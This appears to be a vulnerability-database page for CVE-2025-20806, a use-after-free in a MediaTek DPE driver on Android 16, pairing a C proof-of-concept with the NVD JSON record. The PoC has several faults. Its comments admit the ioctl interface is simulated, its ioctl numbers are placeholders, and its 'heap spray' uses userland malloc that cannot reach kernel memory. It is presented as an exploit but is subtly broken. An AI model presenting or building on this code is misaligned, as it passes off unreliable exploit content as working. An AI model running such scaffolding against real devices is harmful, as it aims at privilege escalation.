CVE-2025-20806

// CVE-2025-20806 PoC - MediaTek DPE Use-After-Free // This PoC demonstrates the vulnerability concept (requires system privileges) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> // Simulated DPE ioctl interface #define DPE_IOCTL_TRIGGER_UAF 0xdeadbeef #define DPE_IOCTL_FREE_OBJECT 0xcafebabe typedef struct { unsigned long user_ptr; unsigned int size; } dpe_alloc_request; typedef struct { unsigned int object_id; } dpe_free_request; int main() { int fd; dpe_alloc_request alloc_req; dpe_free_request free_req; printf("[*] CVE-2025-20806 MediaTek DPE Use-After-Free PoC\n"); printf("[*] Requires: System privileges already obtained\n"); // Open DPE device node (typical path varies by device) fd = open("/dev/dpe", O_RDWR); if (fd < 0) { printf("[-] Failed to open DPE device\n"); return -1; } printf("[+] Step 1: Allocate DPE object\n"); alloc_req.user_ptr = (unsigned long)malloc(0x100); alloc_req.size = 0x100; ioctl(fd, DPE_IOCTL_TRIGGER_UAF, &alloc_req); printf("[+] Step 2: Free the object (triggering UAF condition)\n"); free_req.object_id = 1; ioctl(fd, DPE_IOCTL_FREE_OBJECT, &free_req); printf("[+] Step 3: Reallocate memory and trigger use-after-free\n"); // Spray heap to control freed memory for (int i = 0; i < 100; i++) { void *spray = malloc(0x100); memset(spray, 0x41, 0x100); // Fill with controlled data } printf("[+] Step 4: Trigger DPE operation on freed object\n"); // This would trigger the use-after-free with controlled data ioctl(fd, DPE_IOCTL_TRIGGER_UAF, &alloc_req); printf("[!] UAF condition triggered - exploitation depends on memory layout\n"); close(fd); return 0; } // Note: Actual exploitation requires device-specific DPE driver access // and precise heap grooming techniques to achieve privilege escalation.

{"cve": {"id": "CVE-2025-20806", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:44.847", "lastModified": "2026-01-08T19:22:32.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In dpe, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10114835; Issue ID: MSV-4479."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8793:-:*:*:*:*:*:*:*", "matchCriteriaId": "2FBD3487-F8CE-406C-8BD7-DD57FF8CD60B"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/January-2026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}